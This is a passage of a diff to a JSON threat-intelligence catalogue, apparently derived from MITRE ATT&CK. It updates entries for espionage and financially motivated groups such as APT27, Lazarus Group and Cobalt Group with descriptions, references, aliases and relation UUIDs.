"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage", + "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/", + "https://www.secureworks.com/research/bronze-union", + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/", + "https://thehackernews.com/2018/06/chinese-watering-hole-attack.html", + "https://securelist.com/luckymouse-hits-national-data-center/86083/" ], "synonyms": [ "Threat Group-3390", "TG-3390", "Emissary Panda", - "BRONZE UNION" - ], - "uuid": "fb366179-766c-4a4a-afa1-52bff1fd601c" + "BRONZE UNION", + "APT27", + "Iron Tiger", + "LuckyMouse" + ] }, "related": [ { @@ -46,38 +53,762 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "294e2560-bd48-44b2-9da2-833b5588ad11", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": 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"c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e066bf86-9cfb-407a-9d25-26fd5d91e360", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b07c2c47-fefb-4d7c-a69e-6a3296171f54", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Threat Group-3390" + "uuid": "fb366179-766c-4a4a-afa1-52bff1fd601c", + "value": "Threat Group-3390 - G0027" }, { - "description": "Threat Group-1314 is an unattributed threat group that has used compromised credentials to log into a victim's remote access infrastructure.[[Citation: Dell TG-1314]]", + "description": "[Threat Group-1314](https://attack.mitre.org/groups/G0028) is an unattributed threat group that has used compromised credentials to log into a victim's remote access infrastructure. (Citation: Dell TG-1314)", "meta": { + "external_id": "G0028", "refs": [ - "https://attack.mitre.org/wiki/Group/G0028", + "https://attack.mitre.org/groups/G0028", "http://www.secureworks.com/resources/blog/living-off-the-land/" ], "synonyms": [ "Threat Group-1314", "TG-1314" - ], - "uuid": "d519164e-f5fa-4b8c-a1fb-cf0172ad0983" + ] }, - "value": "Threat Group-1314" + "related": [ + { + "dest-uuid": "92a78814-b191-47ca-909c-1ccfe3777414", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03342581-f790-4f03-ba41-e82e67392e23", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "d519164e-f5fa-4b8c-a1fb-cf0172ad0983", + "value": "Threat Group-1314 - G0028" }, { - "description": "Lotus Blossom is threat group that has targeted government and military organizations in Southeast Asia.[[Citation: Lotus Blossom Jun 2015]] It is also known as Spring Dragon.[[Citation: Spring Dragon Jun 2015]]", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least March 2016. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)", "meta": { + "external_id": "G0074", "refs": [ - "https://attack.mitre.org/wiki/Group/G0030", + "https://attack.mitre.org/groups/G0074", + "https://www.us-cert.gov/ncas/alerts/TA18-074A", + "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group", + "http://fortune.com/2017/09/06/hack-energy-grid-symantec/" + ], + "synonyms": [ + "Dragonfly 2.0", + "Berserk Bear" + ] + }, + "related": [ + { + "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": 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(Citation: Lotus Blossom Jun 2015)", + "meta": { + "external_id": "G0030", + "refs": [ + "https://attack.mitre.org/groups/G0030", "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html", - "https://securelist.com/blog/research/70726/the-spring-dragon-apt/" + "https://securelist.com/the-spring-dragon-apt/70726/" ], "synonyms": [ "Lotus Blossom", "Spring Dragon" - ], - "uuid": "88b7dbc2-32d3-4e31-af2f-3fc24e1582d7" + ] }, "related": [ { @@ -86,42 +817,696 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7551188b-8f91-4d34-8350-0d0c57b2b913", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Lotus Blossom" + "uuid": "88b7dbc2-32d3-4e31-af2f-3fc24e1582d7", + "value": "Lotus Blossom - G0030" }, { - "description": "Night Dragon is a threat group that has conducted activity originating primarily in China.[[Citation: McAfee Night Dragon]]", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)", "meta": { + "external_id": "G0060", "refs": [ - "https://attack.mitre.org/wiki/Group/G0014", - "http://www.mcafee.com/us/resources/white-papers/wp-global-energy-cyberattacks-night-dragon.pdf" + "https://attack.mitre.org/groups/G0060", + "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/", + "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", + "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" ], "synonyms": [ - "Night Dragon" - ], - "uuid": "23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8" + "BRONZE BUTLER", + "REDBALDKNIGHT", + "Tick" + ] }, "related": [ { - "dest-uuid": "b3714d59-b61e-4713-903a-9b4f04ae7f3d", + "dest-uuid": "add6554a-815a-4ac3-9b22-9337b9661ab8", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": 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"6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c9703cd3-141c-43a0-a926-380082be5d04", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Night Dragon" + "uuid": "93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "value": "BRONZE BUTLER - G0060" }, { - "description": "Deep Panda is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications.Deep Panda.Deep Panda also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion.[[Citation: Symantec Black Vine]]", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) is threat group that has been attributed to the Lebanese General Directorate of General Security (GDGS) and has operated since at least 2012. (Citation: Lookout Dark Caracal Jan 2018)", "meta": { + "external_id": "G0070", "refs": [ - "https://attack.mitre.org/wiki/Group/G0009", - "http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/", - "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-black-vine-cyberespionage-group.pdf", + "https://attack.mitre.org/groups/G0070", + "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + ], + "synonyms": [ + "Dark Caracal" + ] + }, + "related": [ + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a5528622-3a8a-4633-86ce-8cdaf8423858", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "835a79f1-842d-472d-b8f4-d54b545c341b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d3df754e-997b-4cf9-97d4-70feb3120847", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d21a2069-23d5-4043-ad6d-64f6b644cb1a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a5e91d50-24fa-44ec-9894-39a88f658cea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "value": "Dark Caracal - G0070" + }, + { + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims. (Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Group IB Cobalt Aug 2017) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008). (Citation: Europol Cobalt Mar 2018)", + "meta": { + "external_id": "G0080", + "refs": [ + "https://attack.mitre.org/groups/G0080", + "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html", + "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf", + "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf", + "https://www.group-ib.com/blog/cobalt", + "https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target", + "https://www.riskiq.com/blog/labs/cobalt-strike/", + "https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/", + "https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report", + "https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain" + ], + "synonyms": [ + "Cobalt Group", + "Cobalt Gang", + "Cobalt Spider" + ] + }, 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"6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "value": "Cobalt Group - G0080" + }, + { + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to [Deep Panda](https://attack.mitre.org/groups/G0009). (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) [Deep Panda](https://attack.mitre.org/groups/G0009) also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine) Some analysts track [Deep Panda](https://attack.mitre.org/groups/G0009) and [APT19](https://attack.mitre.org/groups/G0073) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016)", + "meta": { + "external_id": "G0009", + "refs": [ + "https://attack.mitre.org/groups/G0009", + "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/", + "https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf", "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/", - "https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf" + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf", + "https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/" ], "synonyms": [ "Deep Panda", @@ -130,8 +1515,7 @@ "KungFu Kittens", "PinkPanther", "Black Vine" - ], - "uuid": "a653431d-6a5e-4600-8ad3-609b5af57064" + ] }, "related": [ { @@ -154,21 +1538,141 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "00d0b012-8a03-410e-95de-5826bf542de6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e45723a-31da-4a7e-aaa6-e01998a6788f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b77b563c-34bb-4fb8-86a3-3694338f7b47", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "96b08451-b27a-4ff6-893f-790e26393a8e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "94379dec-5c87-49db-b36e-66abc0b81344", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9b99b83a-1aac-4e29-b975-b374950551a3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fbb470da-1d44-4f29-bbb3-9efbe20f94a3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03342581-f790-4f03-ba41-e82e67392e23", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "91000a8a-58cc-4aba-9ad0-993ad6302b86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Deep Panda" + "uuid": "a653431d-6a5e-4600-8ad3-609b5af57064", + "value": "Deep Panda - G0009" }, { - "description": "Dust Storm is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries.[[Citation: Cylance Dust Storm]]", + "description": "[Dust Storm](https://attack.mitre.org/groups/G0031) is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. (Citation: Cylance Dust Storm)", "meta": { + "external_id": "G0031", "refs": [ - "https://attack.mitre.org/wiki/Group/G0031", - "https://www.cylance.com/hubfs/2015%20cylance%20website/assets/operation-dust-storm/Op%20Dust%20Storm%20Report.pdf?t=1456259131512" + "https://attack.mitre.org/groups/G0031", + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" ], "synonyms": [ "Dust Storm" - ], - "uuid": "ae41895a-243f-4a65-b99b-d85022326c31" + ] }, "related": [ { @@ -177,70 +1681,140 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "166c0eca-02fd-424a-92c0-6b5106994d31", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Dust Storm" + "uuid": "ae41895a-243f-4a65-b99b-d85022326c31", + "value": "Dust Storm - G0031" }, { - "description": "Stealth Falcon is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed.[[Citation: Citizen Lab Stealth Falcon May 2016]]", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) is a campaign name for activity involving threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon) The activity from this group is also known as Musical Chairs. (Citation: Arbor Musical Chairs Feb 2018)", "meta": { + "external_id": "G0014", "refs": [ - "https://attack.mitre.org/wiki/Group/G0038", - "https://citizenlab.org/2016/05/stealth-falcon/" + "https://attack.mitre.org/groups/G0014", + "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf", + "https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/" ], "synonyms": [ - "Stealth Falcon" - ], - "uuid": "894aab42-3371-47b1-8859-a4a074c804c8" + "Night Dragon", + "Musical Chairs" + ] }, "related": [ { - "dest-uuid": "dab75e38-6969-4e78-9304-dc269c3cbcf0", + "dest-uuid": "b3714d59-b61e-4713-903a-9b4f04ae7f3d", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" - } - ], - "value": "Stealth Falcon" - }, - { - "description": "Gamaredon Group is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government.[[Citation: Palo Alto Gamaredon Feb 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0047", - "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" - ], - "synonyms": [ - "Gamaredon Group" - ], - "uuid": "2e290bfe-93b5-48ce-97d6-edcd6d32b7cf" - }, - "related": [ + }, { - "dest-uuid": "1a77e156-76bc-43f5-bdd7-bd67f30fbbbb", + "dest-uuid": "88c621a7-aef9-4ae0-94e3-1fc87123eb24", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" + }, + { + "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1a295f87-af63-4d94-b130-039d6221fb11", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "286cc500-4291-45c2-99a1-e760db176402", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9755ecdc-deb0-40e6-af49-713cb0f8ed92", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Gamaredon Group" + "uuid": "23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "value": "Night Dragon - G0014" }, { - "description": "Lazarus Group is a threat group that has been attributed to the North Korean government.Lazarus Group correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.[[Citation: Novetta Blockbuster]]", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) is a threat group that has been attributed to the North Korean government. (Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) In late 2017, [Lazarus Group](https://attack.mitre.org/groups/G0032) used KillDisk, a disk-wiping tool, in an attack against an online casino based in Central America. (Citation: Lazarus KillDisk)", "meta": { + "external_id": "G0032", "refs": [ - "https://attack.mitre.org/wiki/Group/G0032", + "https://attack.mitre.org/groups/G0032", "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", - "https://www.us-cert.gov/ncas/alerts/TA17-164A" + "https://www.us-cert.gov/ncas/alerts/TA17-164A", + "https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/", + "https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing", + "https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/" ], "synonyms": [ "Lazarus Group", "HIDDEN COBRA", - "Guardians of Peace" - ], - "uuid": "c93fccb1-e8e8-42cf-ae33-2ad1d183913a" + "Guardians of Peace", + "ZINC", + "NICKEL ACADEMY" + ] }, "related": [ { @@ -256,21 +1830,577 @@ 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"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fece06b7-d4b1-42cf-b81a-5323c917546e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9dbdadb6-fdbf-490f-a35f-38762d06a0d2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Lazarus Group" + "uuid": "c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "value": "Lazarus Group - G0032" }, { - "description": "Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm.[[Citation: Kaspersky Poseidon Group]]", + "description": "[Putter Panda](https://attack.mitre.org/groups/G0024) is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA’s 3rd General Staff Department (GSD). (Citation: CrowdStrike Putter Panda)", "meta": { + "external_id": "G0024", "refs": [ - "https://attack.mitre.org/wiki/Group/G0033", - "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/" + "https://attack.mitre.org/groups/G0024", + "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf", + "http://blog.cylance.com/puttering-into-the-future" + ], + "synonyms": [ + "Putter Panda", + "APT2", + "MSUpdater" + ] + }, + "related": [ + { + "dest-uuid": "0ca45163-e223-4167-b1af-f088ed14a93d", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "7bec698a-7e20-4fd3-bb6a-12787770fb1a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + 